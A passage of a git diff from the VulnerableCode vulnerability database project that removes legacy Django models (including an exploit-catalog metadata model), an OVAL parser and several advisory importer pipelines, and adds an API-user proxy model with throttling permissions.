self.model.objects.get_or_create( - package=package, - action_type=action_type, - actor_name=actor_name, - source_url=source_url, - related_vulnerability=related_vulnerability, - software_version=VULNERABLECODE_VERSION, - ) - - -class PackageChangeLog(ChangeLog): - AFFECTED_BY = 1 - FIXING = 2 - - ACTION_TYPE_CHOICES = ((AFFECTED_BY, "Affected by"), (FIXING, "Fixing")) - - package = models.ForeignKey(Package, on_delete=models.CASCADE, related_name="changelog") - - # NOTES: We are not using foreign key because this is a log - # that we want to persist in case the VCID is not any more. - - # TODO: We will change to foeign key in future once the models get stable - related_vulnerability = models.CharField( - max_length=1024, - null=True, - blank=True, - help_text="VCID of the vulnerability related to this package", - ) - - action_type = models.PositiveSmallIntegerField(choices=ACTION_TYPE_CHOICES) - - objects = PackageHistoryManager() - - @classmethod - def log_affected_by(cls, package, importer, source_url, related_vulnerability): - """ - Creates History entry on Vulnerabilitty affects package. - """ - return cls.objects.log_action( - package=package, - action_type=PackageChangeLog.AFFECTED_BY, - actor_name=importer, - source_url=source_url, - related_vulnerability=related_vulnerability, - ) - - @classmethod - def log_fixing(cls, package, importer, source_url, related_vulnerability): - """ - Creates History entry on Vulnerability is fixed by package. - """ - return cls.objects.log_action( - package=package, - action_type=PackageChangeLog.FIXING, - actor_name=importer, - source_url=source_url, - related_vulnerability=related_vulnerability, - ) - - -class Exploit(models.Model): - """ - A vulnerability exploit is code used to - take advantage of a security flaw for unauthorized access or malicious activity. - """ - - vulnerability = models.ForeignKey( - Vulnerability, - related_name="exploits", - on_delete=models.CASCADE, - ) - - date_added = models.DateField( - null=True, - blank=True, - help_text="The date the vulnerability was added to an exploit catalog.", - ) + PUBLISHED = 1, "Published" + DISPUTED = 2, "Disputed" + INVALID = 3, "Invalid" - description = models.TextField( - null=True, - blank=True, - help_text="Description of the vulnerability in an exploit catalog, often a refinement of the original CVE description", - ) - required_action = models.TextField( - null=True, - blank=True, - help_text="The required action to address the vulnerability, typically to " - "apply vendor updates or apply vendor mitigations or to discontinue use.", - ) +class AdvisoryStatusType(models.IntegerChoices): + """List of vulnerability statuses.""" - due_date = models.DateField( - null=True, - blank=True, - help_text="The date the required action is due, which applies" - " to all USA federal civilian executive branch (FCEB) agencies, " - "but all organizations are strongly encouraged to execute the required action", - ) + PUBLISHED = 1, "Published" + DISPUTED = 2, "Disputed" + INVALID = 3, "Invalid" - notes = models.TextField( - null=True, - blank=True, - help_text="Additional notes and resources about the vulnerability," - " often a URL to vendor instructions.", - ) - known_ransomware_campaign_use = models.BooleanField( - default=False, - help_text="""Known' if this vulnerability is known to have been leveraged as part of a ransomware campaign; - or 'Unknown' if there is no confirmation that the vulnerability has been utilized for ransomware.""", - ) +# FIXME: Remove when migration from Vulnerability to Advisory is completed - source_date_published = models.DateField( - null=True, blank=True, help_text="The date that the exploit was published or disclosed." - ) +UserModel = get_user_model() - exploit_type = models.TextField( - null=True, - blank=True, - help_text="The type of the exploit as provided by the original upstream data source.", - ) - platform = models.TextField( - null=True, - blank=True, - help_text="The platform associated with the exploit as provided by the original upstream data source.", - ) +class ApiUserManager(UserManager): + def create_api_user(self, username, first_name="", last_name="", **extra_fields): + """ + Create and return an API-only user. Raise ValidationError. + """ + username = self.normalize_email(username) + email = username + self._validate_username(email) - source_date_updated = models.DateField( - null=True, - blank=True, - help_text="The date the exploit was updated in the original upstream data source.", - ) + # note we use the email as username and we could instead override + # django.contrib.auth.models.AbstractUser.USERNAME_FIELD - data_source = models.TextField( - null=True, - blank=True, - help_text="The source of the exploit information, such as CISA KEV, exploitdb, metaspoit, or others.", - ) + user = self.create_user( + username=email, + email=email, + password=None, + first_name=first_name, + last_name=last_name, + **extra_fields, + ) - source_url = models.URLField( - null=True, - blank=True, - help_text="The URL to the exploit as provided in the original upstream data source.", - ) + # this ensure that this is not a valid password + user.set_unusable_password() + user.save() - @property - def get_known_ransomware_campaign_use_type(self): - return "Known" if self.known_ransomware_campaign_use else "Unknown" + Token._default_manager.get_or_create(user=user) + return user -class CodeChange(models.Model): - """ - Abstract base model representing a change in code, either introducing or fixing a vulnerability. - This includes details about commits, patches, and related metadata. + def _validate_username(self, email): + """ + Validate username. If invalid, raise a ValidationError + """ + try: + self.get_by_natural_key(email) + except models.ObjectDoesNotExist: + pass + else: + raise exceptions.ValidationError(f"Error: This email already exists: {email}") - We are tracking commits, pulls and downloads as references to the code change. The goal is to - keep track and store the actual code patch in the ``patch`` field. When not available the patch - will be inferred from these references using improvers. - """ - commits = models.JSONField( - blank=True, - default=list, - help_text="List of commit identifiers using VCS URLs associated with the code change.", - ) - pulls = models.JSONField( - blank=True, - default=list, - help_text="List of pull request URLs associated with the code change.", - ) - downloads = models.JSONField( - blank=True, default=list, help_text="List of download URLs for the patched code." - ) - patch = models.TextField( - blank=True, null=True, help_text="The code change as a patch in unified diff format." - ) - base_package_version = models.ForeignKey( - "Package", - null=True, - blank=True, - on_delete=models.SET_NULL, - related_name="codechanges", - help_text="The base package version to which this code change applies.", - ) - notes = models.TextField( - blank=True, null=True, help_text="Notes or instructions about this code change." - ) - references = models.JSONField( - blank=True, default=list, help_text="URL references related to this code change." - ) - is_reviewed = models.BooleanField( - default=False, help_text="Indicates if this code change has been reviewed." - ) - created_at = models.DateTimeField( - auto_now_add=True, help_text="Timestamp indicating when this code change was created." - ) - updated_at = models.DateTimeField( - auto_now=True, help_text="Timestamp indicating when this code change was last updated." - ) +class ApiUser(UserModel): + """A User proxy model to facilitate simplified admin API user creation.""" + + objects = ApiUserManager() class Meta: - abstract = True + proxy = True + permissions = [ + ( + "throttle_3_unrestricted", + "Can make unlimited API requests without any throttling limits", + ), + ( + "throttle_2_high", + "Can make high number of API requests with minimal throttling", + ), + ( + "throttle_1_medium", + "Can make medium number of API requests with standard throttling", + ), + ( + "throttle_0_low", + "Can make low number of API requests with strict throttling", + ), + ] class CodeChangeV2(models.Model): @@ -1917,30 +240,6 @@ class Meta: abstract = True -class CodeFix(CodeChange): - """ - A code fix is a code change that addresses a vulnerability and is associated: - - with a specific affected package version - - optionally with a specific fixing package version when it is known - """ - - affected_package_vulnerability = models.ForeignKey( - "AffectedByPackageRelatedVulnerability", - on_delete=models.CASCADE, - related_name="code_fix", - help_text="The affected package version to which this code fix applies.", - ) - - fixed_package_vulnerability = models.ForeignKey( - "FixingPackageRelatedVulnerability", - null=True, - blank=True, - on_delete=models.SET_NULL, - related_name="code_fix", - help_text="The fixing package version with this code fix", - ) - - class CodeFixV2(CodeChangeV2): """ A code fix is a code change that addresses a vulnerability and is associated: @@ -2470,62 +769,6 @@ def create_new_job(self, execute_now=False): ] -class AdvisoryToDo(models.Model): - """Track the TODOs for advisory/ies that need to be addressed.""" - - # Since we can not make advisories field (M2M field) unique - # (see https://code.djangoproject.com/ticket/702), we use related_advisories_id - # to avoid creating duplicate issue for same set of advisories, - related_advisories_id = models.CharField( - max_length=40, - help_text="SHA1 digest of the unique_content_id field of the applicable advisories.", - ) - - advisories = models.ManyToManyField( - Advisory, - through="ToDoRelatedAdvisory", - related_name="advisory_todos", - help_text="Advisory/ies where this TODO is applicable.", - ) - - issue_type = models.CharField( - max_length=50, - choices=ISSUE_TYPE_CHOICES, - db_index=True, - help_text="Select the issue that needs to be addressed from the available options.", - ) - - issue_detail = models.TextField( - blank=True, - help_text="Additional details about the issue.", - ) - - created_at = models.DateTimeField( - auto_now_add=True, - help_text="Timestamp indicating when this TODO was created.", - ) - - is_resolved = models.BooleanField( - default=False, - db_index=True, - help_text="This TODO is resolved or not.", - ) - - resolved_at = models.DateTimeField( - null=True, - blank=True, - help_text="Timestamp indicating when this TODO was resolved.", - ) - - resolution_detail = models.TextField( - blank=True, - help_text="Additional detail on how this TODO was resolved.", - ) - - class Meta: - unique_together = ("related_advisories_id", "issue_type") - - class AdvisoryToDoV2QuerySet(models.QuerySet): def exclude_stale(self): @@ -3544,21 +1787,6 @@ class AdvisoryMitigations(models.Model): updated_at = models.DateTimeField(auto_now=True) -class ToDoRelatedAdvisory(models.Model): - todo = models.ForeignKey( - AdvisoryToDo, - on_delete=models.CASCADE, - ) - - advisory = models.ForeignKey( - Advisory, - on_delete=models.CASCADE, - ) - - class Meta: - unique_together = ("todo", "advisory") - - class ToDoRelatedAdvisoryV2(models.Model): todo = models.ForeignKey( AdvisoryToDoV2, diff --git a/vulnerabilities/oval_parser.py b/vulnerabilities/oval_parser.py deleted file mode 100755 index fd2b114a7..000000000 --- a/vulnerabilities/oval_parser.py +++ /dev/null @@ -1,198 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -import re -import xml.etree.ElementTree as ET -from typing import Dict -from typing import List -from typing import Optional -from typing import Set -from typing import Tuple - -from vulnerabilities.lib_oval import OvalDefinition -from vulnerabilities.lib_oval import OvalDocument -from vulnerabilities.lib_oval import OvalObject -from vulnerabilities.lib_oval import OvalState -from vulnerabilities.lib_oval import OvalTest - - -class OvalParser: - def __init__(self, translations: Dict, oval_document: ET.ElementTree): - self.translations = translations - self.oval_document = OvalDocument(oval_document) - self.all_definitions = self.oval_document.getDefinitions() - self.all_tests = self.oval_document.getTests() - - def get_data(self) -> List[Dict]: - """ - Return a list of OvalDefinition mappings. - """ - oval_data = [] - for definition in self.all_definitions: - matching_tests = self.get_tests_of_definition(definition) - if not matching_tests: - continue - definition_data = {"test_data": []} - # TODO:this could use some data cleaning - definition_data["description"] = definition.getMetadata().getDescription() or "" - definition_data["vuln_id"] = self.get_vuln_id_from_definition(definition) - definition_data["reference_urls"] = self.get_urls_from_definition(definition) - definition_data["severity"] = self.get_severity_from_definition(definition) - - for test in matching_tests: - test_obj, test_state = self.get_object_state_of_test(test) - if not test_obj or not test_state: - continue - test_data = {"package_list": []} - test_data["package_list"].extend(self.get_pkgs_from_obj(test_obj)) - version_ranges = self.get_version_range_from_state(test_state) - test_data["version_ranges"] = version_ranges - definition_data["test_data"].append(test_data) - - oval_data.append(definition_data) - - return oval_data - - def get_tests_of_definition(self, definition: OvalDefinition) -> List[OvalTest]: - """ - returns a list of all valid tests of the passed OvalDefinition - """ - - criteria_refs = [] - - for child in definition.element.iter(): - if "test_ref" in child.attrib: - criteria_refs.append(child.get("test_ref")) - - matching_tests = [] - for ref in criteria_refs: - oval_test = self.oval_document.getElementByID(ref) - # All matches will be `rpminfo_test` elements inside the `tests` element. - # Test for len == 2 because this IDs a pair of nested `object` and `state` elements. - if len(oval_test.element) == 2: - _, state = self.get_object_state_of_test(oval_test) - valid_test = True - for child in state.element: - if child.get("operation") not in self.translations: - valid_test = False - continue - elif ( - child.get("operation") in self.translations - # "debian_evr_string" is used in both Debian and Ubuntu test XML files; SUSE OVAL uses "evr_string". - # See also https://github.com/OVALProject/Language/blob/master/docs/oval-common-schema.md - and child.get("datatype") in ["evr_string", "debian_evr_string"] - ): - matching_tests.append(self.oval_document.getElementByID(ref)) - - return sorted(set(matching_tests)) - - def get_object_state_of_test(self, test: OvalTest) -> Tuple[OvalObject, OvalState]: - """ - returns a tuple of (OvalObject,OvalState) of an OvalTest - """ - obj, state = list(test.element)[0].get("object_ref"), list(test.element)[1].get("state_ref") - obj = self.oval_document.getElementByID(obj) - state = self.oval_document.getElementByID(state) - return (obj, state) - - def get_pkgs_from_obj(self, obj: OvalObject) -> List[str]: - """ - returns a list of all related packages nested within - an OvalObject - """ - - pkg_list = [] - - for var in obj.element: - # It appears that `var_ref` is used in Ubuntu OVAL but not Debian or SUSE. - if var.get("var_ref"): - var_elem = self.oval_document.getElementByID(var.get("var_ref")) - comment = var_elem.element.get("comment") - pkg_name = re.match("'.+'", comment).group().replace("'", "") - pkg_list.append(pkg_name) - else: - pkg_list.append(var.text) - - return pkg_list - - def get_version_range_from_state(self, state: OvalState) -> Optional[str]: - """ - Return a version range from a state - """ - for var in state.element: - operation = var.get("operation") - if not operation: - continue - operand = self.translations.get(operation) or "" - if not operand: - continue - version = var.text or "" - if not version: - continue - version_range = operand + version - version_range = version_range.replace("only", "").strip() - - # 0: is default epoch, remove it - version_range = version_range.replace("0:", "").strip() - x_version_ranges = { - "<2.0.x": "2.0.x", - "<3.x": "3.x", - "<4.6.x": "4.6.x", - "<8.0.x": "8.0.x", - "<8.x": "8.x", - } - if version_range in x_version_ranges: - version_range = x_version_ranges[version_range] - - return version_range - - @staticmethod - def get_urls_from_definition(definition: OvalDefinition) -> Set[str]: - all_urls = set() - definition_metadata = definition.getMetadata().element - for child in definition_metadata: - if child.tag.endswith("reference"): - all_urls.add(child.get("ref_url")) - if child.tag.endswith("advisory"): - for grandchild in child: - if grandchild.tag.endswith("ref"): - all_urls.add(grandchild.text) - if grandchild.get("href"): - all_urls.add(grandchild.get("href")) - break - - return all_urls - - @staticmethod - def get_severity_from_definition(definition: OvalDefinition) -> Set[str]: - definition_metadata = definition.getMetadata().element - for child in definition_metadata: - if child.tag.endswith("advisory"): - for grandchild in child: - if grandchild.tag.endswith("severity"): - return grandchild.text - - @staticmethod - def get_vuln_id_from_definition(definition): - # SUSE and Ubuntu OVAL files will get CVEs via this loop. - cve_list = [] - for child in definition.element.iter(): - if child.get("ref_id") and child.get("source"): - if child.get("source") == "CVE": - if not child.get("ref_id").startswith("CVE"): - unwanted_prefix = child.get("ref_id").split("CVE")[0] - cve_list.append(child.get("ref_id").replace(unwanted_prefix, "")) - else: - cve_list.append(child.get("ref_id")) - # Debian OVAL files (no "ref_id") will get CVEs via this. - if len(cve_list) == 0: - cve_list.append(definition.getMetadata().getTitle()) - - return cve_list diff --git a/vulnerabilities/pipelines/__init__.py b/vulnerabilities/pipelines/__init__.py index 5940363b0..572791542 100644 --- a/vulnerabilities/pipelines/__init__.py +++ b/vulnerabilities/pipelines/__init__.py @@ -20,13 +20,9 @@ from aboutcode.pipeline import PipelineDefinition from aboutcode.pipeline import humanize_time -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.models import Advisory +from vulnerabilities.importer import AdvisoryDataV2 from vulnerabilities.models import PipelineRun from vulnerabilities.models import PipelineSchedule -from vulnerabilities.pipes.advisory import import_advisory -from vulnerabilities.pipes.advisory import insert_advisory from vulnerabilities.pipes.advisory import insert_advisory_v2 module_logger = logging.getLogger(__name__) @@ -161,107 +157,6 @@ def on_failure(self): pass -class VulnerableCodeBaseImporterPipeline(VulnerableCodePipeline): - """ - Base importer pipeline for importing advisories. - - Uses: - Subclass this Pipeline and implement ``advisories_count`` and ``collect_advisories`` - method. Also override the ``steps`` and ``advisory_confidence`` as needed. - """ - - pipeline_id = None # Unique Pipeline ID, this should be the name of pipeline module. - license_url = None - spdx_license_expression = None - repo_url = None - importer_name = None - advisory_confidence = MAX_CONFIDENCE - - # When set to true pipeline is run only once. - # To rerun onetime pipeline reset is_active field to True via migration. - run_once = False - # Interval between runs in minutes. - run_interval = 1440 - run_priority = PipelineSchedule.ExecutionPriority.DEFAULT - - @classmethod - def steps(cls): - return ( - # Add step for downloading/cloning resource as required. - cls.collect_and_store_advisories, - cls.import_new_advisories, - # Add step for removing downloaded/cloned resource as required. - ) - - def collect_advisories(self) -> Iterable[AdvisoryData]: - """ - Yield AdvisoryData for importer pipeline. - - Populate the `self.collected_advisories_count` field and yield AdvisoryData - """ - raise NotImplementedError - - def advisories_count(self) -> int: - """ - Return the estimated AdvisoryData to be yielded by ``collect_advisories``. - - Used by ``collect_and_store_advisories`` to log the progress of advisory collection. - """ - raise NotImplementedError - - def collect_and_store_advisories(self): - collected_advisory_count = 0 - estimated_advisory_count = self.advisories_count() - - if estimated_advisory_count > 0: - self.log(f"Collecting {estimated_advisory_count:,d} advisories") - - progress = LoopProgress(total_iterations=estimated_advisory_count, logger=self.log) - for advisory in progress.iter(self.collect_advisories()): - if isinstance(advisory, AdvisoryData): - if _obj := insert_advisory( - advisory=advisory, - pipeline_id=self.pipeline_id, - logger=self.log, - ): - collected_advisory_count += 1 - - self.log(f"Successfully collected {collected_advisory_count:,d} advisories") - - def import_new_advisories(self): - new_advisories = Advisory.objects.filter( - created_by=self.pipeline_id, - date_imported__isnull=True, - ) - - new_advisories_count = new_advisories.count() - - self.log(f"Importing {new_advisories_count:,d} new advisories") - - imported_advisory_count = 0 - progress = LoopProgress(total_iterations=new_advisories_count, logger=self.log) - for advisory in progress.iter(new_advisories.paginated()): - self.import_advisory(advisory=advisory) - if advisory.date_imported: - imported_advisory_count += 1 - - self.log(f"Successfully imported {imported_advisory_count:,d} new advisories") - - def import_advisory(self, advisory: Advisory) -> int: - try: - import_advisory( - advisory=advisory, - pipeline_id=self.pipeline_id, - confidence=self.advisory_confidence, - logger=self.log, - ) - except Exception as e: - self.log( - f"Failed to import advisory: {advisory!r} with error {e!r}:\n{traceback_format_exc()}", - level=logging.ERROR, - ) - - class VulnerableCodeBaseImporterPipelineV2(VulnerableCodePipeline): """ Base importer pipeline for importing advisories. @@ -302,17 +197,17 @@ def steps(cls): # Add step for removing downloaded/cloned resource as required. ) - def collect_advisories(self) -> Iterable[AdvisoryData]: + def collect_advisories(self) -> Iterable[AdvisoryDataV2]: """ - Yield AdvisoryData for importer pipeline. + Yield AdvisoryDataV2 for importer pipeline. - Populate the `self.collected_advisories_count` field and yield AdvisoryData + Populate the `self.collected_advisories_count` field and yield AdvisoryDataV2 """ raise NotImplementedError def advisories_count(self) -> int: """ - Return the estimated AdvisoryData to be yielded by ``collect_advisories``. + Return the estimated AdvisoryDataV2 to be yielded by ``collect_advisories``. Used by ``collect_and_store_advisories`` to log the progress of advisory collection. """ diff --git a/vulnerabilities/pipelines/add_cvss31_to_CVEs.py b/vulnerabilities/pipelines/add_cvss31_to_CVEs.py deleted file mode 100644 index a9791d29c..000000000 --- a/vulnerabilities/pipelines/add_cvss31_to_CVEs.py +++ /dev/null @@ -1,102 +0,0 @@ -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import re - -from aboutcode.pipeline import LoopProgress -from django.db import transaction - -from vulnerabilities import severity_systems -from vulnerabilities.models import Advisory -from vulnerabilities.models import Alias -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.pipelines import VulnerableCodePipeline - - -class CVEAdvisoryMappingPipeline(VulnerableCodePipeline): - """ - Pipeline to map CVEs from VulnerabilitySeverity to corresponding Advisories with CVSS3.1 scores. - """ - - pipeline_id = "add_cvssv3.1_to_CVEs" - - @classmethod - def steps(cls): - return (cls.process_cve_advisory_mapping,) - - def process_cve_advisory_mapping(self): - nvd_severities = ( - VulnerabilitySeverity.objects.filter( - url__startswith="https://nvd.nist.gov/vuln/detail/CVE-", scoring_system="cvssv3" - ) - .prefetch_related("vulnerabilities") - .distinct() - ) - - self.log(f"Processing {nvd_severities.count():,d} CVE severity records") - - progress = LoopProgress( - total_iterations=nvd_severities.count(), - logger=self.log, - progress_step=5, - ) - - batch_size = 1000 - results = [] - - for severity in progress.iter(nvd_severities.paginated(per_page=batch_size)): - cve_pattern = re.compile(r"(CVE-\d{4}-\d{4,7})").search - cve_match = cve_pattern(severity.url) - if cve_match: - cve_id = cve_match.group() - else: - self.log(f"Could not find CVE ID in URL: {severity.url}") - continue - - if matching_alias := Alias.objects.get(alias=cve_id): - matching_advisories = matching_alias.advisories.filter(created_by="nvd_importer") - - for advisory in matching_advisories or []: - for reference in advisory.references: - for sev in reference.get("severities", []): - if sev.get("system") == "cvssv3.1": - results.append( - { - "cve_id": cve_id, - "cvss31_score": sev.get("value"), - "cvss31_vector": sev.get("scoring_elements"), - "vulnerabilities": severity.vulnerabilities.all(), - } - ) - - if results: - self._process_batch(results) - - self.log(f"Completed processing CVE to Advisory mappings") - - def _process_batch(self, results): - """ - Process a batch of results. Transactions are used to ensure data consistency. - """ - self.log(f"Processing batch of {len(results)} mappings") - - with transaction.atomic(): - for result in results: - self.log( - f"CVE: {result['cve_id']}, " - f"CVSS3.1: {result['cvss31_score']}, " - f"Vector: {result['cvss31_vector']}" - ) - - for vulnerability in result["vulnerabilities"]: - vuln_severity, _ = VulnerabilitySeverity.objects.update_or_create( - scoring_system=severity_systems.CVSSV31.identifier, - url=f"https://nvd.nist.gov/vuln/detail/{result['cve_id']}", - value=result["cvss31_score"], - scoring_elements=result["cvss31_vector"], - ) - vulnerability.severities.add(vuln_severity) diff --git a/vulnerabilities/pipelines/alpine_linux_importer.py b/vulnerabilities/pipelines/alpine_linux_importer.py deleted file mode 100644 index 5657ee4d2..000000000 --- a/vulnerabilities/pipelines/alpine_linux_importer.py +++ /dev/null @@ -1,290 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from typing import Any -from typing import Iterable -from typing import List -from typing import Mapping -from urllib.parse import urljoin - -from bs4 import BeautifulSoup -from packageurl import PackageURL -from univers.versions import AlpineLinuxVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.references import WireSharkReference -from vulnerabilities.references import XsaReference -from vulnerabilities.references import ZbxReference -from vulnerabilities.utils import fetch_response -from vulnerabilities.utils import is_cve - - -class AlpineLinuxImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect Alpine Linux advisories.""" - - pipeline_id = "alpine_linux_importer" - - spdx_license_expression = "CC-BY-SA-4.0" - license_url = "https://secdb.alpinelinux.org/license.txt" - url = "https://secdb.alpinelinux.org/" - importer_name = "Alpine Linux Importer" - - @classmethod - def steps(cls): - return ( - cls.collect_and_store_advisories, - cls.import_new_advisories, - ) - - def advisories_count(self) -> int: - return 0 - - def collect_advisories(self) -> Iterable[AdvisoryData]: - page_response_content = fetch_response(self.url).content - advisory_directory_links = fetch_advisory_directory_links( - page_response_content, self.url, self.log - ) - advisory_links = [] - for advisory_directory_link in advisory_directory_links: - advisory_directory_page = fetch_response(advisory_directory_link).content - advisory_links.extend( - fetch_advisory_links(advisory_directory_page, advisory_directory_link, self.log) - ) - for link in advisory_links: - record = fetch_response(link).json() - if not record["packages"]: - self.log( - f'"packages" not found in {link!r}', - level=logging.DEBUG, - ) - continue - yield from process_record(record=record, url=link, logger=self.log) - - -def fetch_advisory_directory_links( - page_response_content: str, - base_url: str, - logger: callable = None, -) -> List[str]: - """ - Return a list of advisory directory links present in `page_response_content` html string - """ - index_page = BeautifulSoup(page_response_content, features="lxml") - alpine_versions = [ - link.text - for link in index_page.find_all("a") - if link.text.startswith("v") or link.text.startswith("edge") - ] - - if not alpine_versions: - if logger: - logger( - f"No versions found in {base_url!r}", - level=logging.DEBUG, - ) - return [] - - advisory_directory_links = [urljoin(base_url, version) for version in alpine_versions] - - return advisory_directory_links - - -def fetch_advisory_links( - advisory_directory_page: str, - advisory_directory_link: str, - logger: callable = None, -) -> Iterable[str]: - """ - Yield json file urls present in `advisory_directory_page` - """ - advisory_directory_page = BeautifulSoup(advisory_directory_page, features="lxml") - anchor_tags = advisory_directory_page.find_all("a") - if not anchor_tags: - if logger: - logger( - f"No anchor tags found in {advisory_directory_link!r}", - level=logging.DEBUG, - ) - return iter([]) - for anchor_tag in anchor_tags: - if anchor_tag.text.endswith("json"): - yield urljoin(advisory_directory_link, anchor_tag.text) - - -def check_for_attributes(record, logger) -> bool: - attributes = ["distroversion", "reponame", "archs"] - for attribute in attributes: - if attribute not in record: - if logger: - logger( - f'"{attribute!r}" not found in {record!r}', - level=logging.DEBUG, - ) - return False - return True - - -def process_record(record: dict, url: str, logger: callable = None) -> Iterable[AdvisoryData]: - """ - Return a list of AdvisoryData objects by processing data - present in that `record` - """ - if not record.get("packages"): - if logger: - logger( - f'"packages" not found in this record {record!r}', - level=logging.DEBUG, - ) - return [] - - for package in record["packages"]: - if not package["pkg"]: - if logger: - logger( - f'"pkg" not found in this package {package!r}', - level=logging.DEBUG, - ) - continue - if not check_for_attributes(record, logger): - continue - yield from load_advisories( - pkg_infos=package["pkg"], - distroversion=record["distroversion"], - reponame=record["reponame"], - archs=record["archs"], - url=url, - logger=logger, - ) - - -def load_advisories( - pkg_infos: Mapping[str, Any], - distroversion: str, - reponame: str, - archs: List[str], - url: str, - logger: callable = None, -) -> Iterable[AdvisoryData]: - """ - Yield AdvisoryData by mapping data from `pkg_infos` - and form PURL for AffectedPackages by using - `distroversion`, `reponame`, `archs` - """ - if not pkg_infos.get("name"): - if logger: - logger( - f'"name" is not available in package {pkg_infos!r}', - level=logging.DEBUG, - ) - return [] - - for version, fixed_vulns in pkg_infos["secfixes"].items(): - if not fixed_vulns: - if logger: - logger( - f"No fixed vulnerabilities in version {version!r}", - level=logging.DEBUG, - ) - continue - # fixed_vulns is a list of strings and each string is a space-separated - # list of aliases and CVES - for vuln_ids in fixed_vulns: - if not isinstance(vuln_ids, str): - if logger: - logger( - f"{vuln_ids!r} is not of `str` instance", - level=logging.DEBUG, - ) - continue - vuln_ids = vuln_ids.strip().split() - if not vuln_ids: - if logger: - logger( - f"{vuln_ids!r} is empty", - level=logging.DEBUG, - ) - continue - aliases = vuln_ids - - references = [] - for reference_id in vuln_ids: - - if reference_id.startswith("XSA"): - references.append(XsaReference.from_id(xsa_id=reference_id)) - - elif reference_id.startswith("ZBX"): - references.append(ZbxReference.from_id(zbx_id=reference_id)) - - elif reference_id.startswith("wnpa-sec"): - references.append(WireSharkReference.from_id(wnpa_sec_id=reference_id)) - - elif not reference_id.startswith("CVE"): - if logger: - logger(f"Unknown reference id {reference_id!r}", level=logging.DEBUG) - - qualifiers = { - "distroversion": distroversion, - "reponame": reponame, - } - - affected_packages = [] - - try: - fixed_version = AlpineLinuxVersion(version) - except Exception as e: - if logger: - logger( - f"{version!r} is not a valid AlpineVersion {e!r}", - level=logging.DEBUG, - ) - continue - if not isinstance(archs, List): - if logger: - logger( - f"{archs!r} is not of `List` instance", - level=logging.DEBUG, - ) - continue - if archs: - for arch in archs: - qualifiers["arch"] = arch - affected_packages.append( - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name=pkg_infos["name"], - qualifiers=qualifiers, - ), - fixed_version=fixed_version, - ) - ) - else: - # there is no arch, this is not an arch-specific package - affected_packages.append( - AffectedPackage( - package=PackageURL( - type="apk", - namespace="alpine", - name=pkg_infos["name"], - qualifiers=qualifiers, - ), - fixed_version=fixed_version, - ) - ) - - yield AdvisoryData( - references=references, - affected_packages=affected_packages, - aliases=aliases, - url=url, - ) diff --git a/vulnerabilities/pipelines/collect_commits.py b/vulnerabilities/pipelines/collect_commits.py deleted file mode 100644 index 92145c051..000000000 --- a/vulnerabilities/pipelines/collect_commits.py +++ /dev/null @@ -1,257 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import re - -from aboutcode.pipeline import LoopProgress - -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import CodeFix -from vulnerabilities.pipelines import VulnerableCodePipeline - - -def is_vcs_url_already_processed(commit_id): - """ - Check if a VCS URL exists in a CodeFix entry. - """ - return CodeFix.objects.filter(commits__contains=[commit_id]).exists() - - -class CollectFixCommitsPipeline(VulnerableCodePipeline): - """ - Improver pipeline to scout References and create CodeFix entries. - """ - - pipeline_id = "collect_fix_commits" - license_expression = None - - @classmethod - def steps(cls): - return (cls.collect_and_store_fix_commits,) - - def collect_and_store_fix_commits(self): - affected_by_package_related_vulnerabilities = ( - AffectedByPackageRelatedVulnerability.objects.all().prefetch_related( - "vulnerability", "vulnerability__references" - ) - ) - - self.log( - f"Processing {affected_by_package_related_vulnerabilities.count():,d} references to collect fix commits." - ) - - created_fix_count = 0 - progress = LoopProgress( - total_iterations=affected_by_package_related_vulnerabilities.count(), logger=self.log - ) - - for apv in progress.iter( - affected_by_package_related_vulnerabilities.paginated(per_page=500) - ): - vulnerability = apv.vulnerability - for reference in vulnerability.references.all(): - if not "/commit/" in reference.url: - continue - if not is_vcs_url(reference.url): - continue - - vcs_url = normalize_vcs_url(repo_url=reference.url) - - if not vcs_url: - continue - - # Skip if already processed - if is_vcs_url_already_processed(commit_id=vcs_url): - self.log( - f"Skipping already processed reference: {reference.url} with VCS URL {vcs_url}" - ) - continue - # check if vcs_url has commit - code_fix, created = CodeFix.objects.get_or_create( - commits=[vcs_url], - affected_package_vulnerability=apv, - ) - - if created: - created_fix_count += 1 - self.log( - f"Created CodeFix entry for reference: {reference.url} with VCS URL {vcs_url}" - ) - - self.log(f"Successfully created {created_fix_count:,d} CodeFix entries.") - - -PLAIN_URLS = ( - "https://", - "http://", -) - -VCS_URLS = ( - "git://", - "git+git://", - "git+https://", - "git+http://", - "hg://", - "hg+http://", - "hg+https://", - "svn://", - "svn+https://", - "svn+http://", -) - - -# TODO: This function was borrowed from scancode-toolkit. We need to create a shared library for that. -def normalize_vcs_url(repo_url, vcs_tool=None): - """ - Return a normalized vcs_url version control URL given some `repo_url` and an - optional `vcs_tool` hint (such 